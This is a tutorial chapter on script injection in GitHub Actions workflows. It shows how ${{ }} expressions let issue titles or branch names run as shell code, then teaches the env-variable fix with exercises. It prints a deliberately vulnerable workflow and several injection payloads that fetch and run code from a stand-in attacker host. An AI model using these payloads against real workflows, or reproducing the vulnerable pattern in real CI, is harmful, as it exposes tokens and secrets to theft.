Sub topic 4
Script injection in run steps
This chapter assumes you can read GitHub Actions workflow YAML (events, jobs, steps) and write basic shell. It also assumes you know what a fork and a pull request are. It covers one mechanism: how a ${{ }} expression inside a run step lets outside data become code.
What goes wrong
A run step holds a shell script. If that script contains a ${{ }} expression, GitHub replaces the expression with its value before it starts the shell. The shell never sees the expression. It sees only the finished text, and it can't tell which parts you wrote and which parts came from a user.
That makes the expression a template substitution, not a variable. If the substituted value contains shell syntax, the shell runs it. This bug class is called script injection. It is the same shape as SQL injection, with a shell script in place of a query.
A vulnerable workflow
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: echo "New issue: ${{ github.event.issue.title }}"The workflow looks harmless. Anyone with a GitHub account can open an issue on a public repository, and they choose the title. Suppose the title is:
"; curl https://attacker.example/x | sh; echo "GitHub expands the expression, and the runner writes this script to disk:
echo "New issue: "; curl https://attacker.example/x | sh; echo ""The first " in the title closes your string. Then ; ends the command, and the attacker's command runs as a new statement. The final echo " opens a string that your original closing quote then closes, so the script stays syntactically valid and the job looks normal.
Why quoting does not save you
A common first reaction is to add quotes. Quoting works only if the value can't contain the quote character, and attacker-controlled values can contain anything.
- Double quotes, as above: the payload closes them with
". - Single quotes:
echo 'New issue: ${{ github.event.issue.title }}'is broken by a title containing'. The payload becomes'; curl ... | sh; echo '. - Command substitution: inside double quotes the shell still evaluates
$(...)and backticks. A title of$(curl https://attacker.example/x | sh)needs no quote characters at all. - Newlines: a multi-line value ends the current command and starts new ones.
Filtering spaces does not help either. Git branch names cannot contain spaces, but they can contain $, (, ), ;, ", |, & and backticks. Attackers use ${IFS}, the shell's field separator variable, in place of a space:
x";curl${IFS}https://attacker.example/x|sh;#That is a valid branch name. A workflow that interpolates ${{ github.head_ref }} into a run step runs it.
Which values are attacker-controlled
Treat a field as untrusted when someone without write access to your repository can set it. Common fields:
| Context value | Who sets it |
|---|---|
| `github.event.issue.title`, `github.event.issue.body` | Whoever opens or edits the issue |
| `github.event.pull_request.title`, `.body` | The PR author |
| `github.event.pull_request.head.ref`, `github.head_ref` | The branch name chosen in the fork |
| `github.event.comment.body`, `github.event.review.body` | Any commenter |
| `github.event.head_commit.message`, `.author.email`, `.author.name` | The commit author, who sets these values locally |
| `github.event.pages.*.page_name` | Whoever edits a wiki page |
Fields such as github.sha, github.run_id and github.repository are generated by GitHub in a fixed format and are safe to interpolate. A field is also safe if it is a number or boolean you do not build from user text, but the safer habit is to treat every github.event.* string as untrusted.
Secrets and inputs.* values deserve a note. A workflow_dispatch input is typed by someone with write access, so the risk is lower. It is still the same unsafe pattern, and the later fix applies to it as well.
What the attacker gets
The injected command runs inside your job, so it has what your job has:
- The
GITHUB_TOKEN, with whatever permissions the workflow or the repository default grants. Before the permissions chapter this may mean write access to contents, issues and pull requests. - Every secret that the job or step reads. Secrets are masked in logs, but a process that can read them can send them elsewhere.
- Files on the runner, including the checked-out source and credentials that
actions/checkoutpersists in the local git config. - Network access, which lets the attacker download tools and exfiltrate data.
The trigger decides how bad this is. An issues or issue_comment workflow always runs in the base repository with a normal token and its secrets, so the injection is serious right away. A pull_request workflow from a fork gets a read-only token and no secrets, which limits the damage. The next chapters compare the triggers in detail.
The fix: pass values as data
Move the value out of the script text and into an environment variable. GitHub still expands the expression, but now it expands into the value of an env entry, which the runner passes to the process as data. The script text contains only $ISSUE_TITLE, which the shell expands at run time as a variable reference.
name: greet
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"The script on disk is now the same for every issue. The shell expands $ISSUE_TITLE once, as a single word inside double quotes, and does not parse the result again. A malicious title is printed as text.
Rules for the fix to hold
- Always double-quote the variable (
"$ISSUE_TITLE"). Without quotes, the shell splits the value on whitespace and expands wildcards. That is not code execution, but it is wrong behavior and a source of argument injection. - Never re-parse the variable as code. These patterns bring the bug back:
eval "$ISSUE_TITLE"
bash -c "$ISSUE_TITLE"
sh -c "echo $ISSUE_TITLE"- Treat the value as data in the commands you call. If a title begins with
-, a command such asgit checkout "$BRANCH"may read it as an option. Use--where the tool supports it, or validate the value against an allowed pattern. - Keep the expression only on the
envline. Using${{ }}for the same field again insiderunundoes the change.
A strict allowlist check is a useful second layer when the value must have a known shape, for example a branch name used to select a deploy target:
steps:
- env:
BRANCH: ${{ github.head_ref }}
run: |
if ! printf '%s' "$BRANCH" | grep -Eq '^[A-Za-z0-9._/-]+$'; then
echo "Unexpected branch name" >&2
exit 1
fi
echo "Building $BRANCH"Common mistakes
- Assuming only pull requests are risky. Issues, comments, reviews, discussions and wiki edits all carry user text.
- Assuming the repository is private, so nobody hostile can reach it. Collaborators, compromised accounts and bots can still supply bad values, and repositories become public later.
- Using an intermediate step output or job output that came from untrusted text.
${{ steps.x.outputs.title }}is untrusted if the title was written there. Origin matters more than how many steps the value has passed through. - Sanitizing inside the expression, for example with
format()orreplacestyle tricks. These are easy to get wrong. The environment variable approach removes the problem instead of filtering it. - Fixing
runsteps and forgetting that other inputs also become code. Script-style actions such asactions/github-scriptexpand expressions into JavaScript source, and a later chapter covers them.
Check your understanding
Exercise
A workflow runs git checkout ${{ github.head_ref }} in a run step on the pull_request trigger. A fork author names their branch x;id;#. Explain what happens and rewrite the step safely.
Show answer
GitHub expands the expression first, so the shell script becomes git checkout x;id;#. The ; ends the checkout command and id runs as a separate command, and # comments out the rest of the line. The attacker can run any command that avoids forbidden branch-name characters, such as spaces (using ${IFS} instead). The safe version passes the branch through an environment variable and uses a double-quoted reference: set env: BRANCH: ${{ github.head_ref }} and run git checkout -- "$BRANCH" (or validate the name against an allowlist first). The shell then reads the branch name as one word of data and does not parse it as script.
Exercise
After the fix, a teammate writes run: bash -c "echo $ISSUE_TITLE" with ISSUE_TITLE set in env. Is the step safe? Why or why not?
Show answer
No. The shell expands $ISSUE_TITLE into the string passed to bash -c, and the new bash process parses that string as a script. A title containing ; curl ... | sh runs as code again. Reading the variable inside a script is safe only when it is never fed back into a command that evaluates text, such as eval, bash -c or sh -c. Use echo "$ISSUE_TITLE" directly.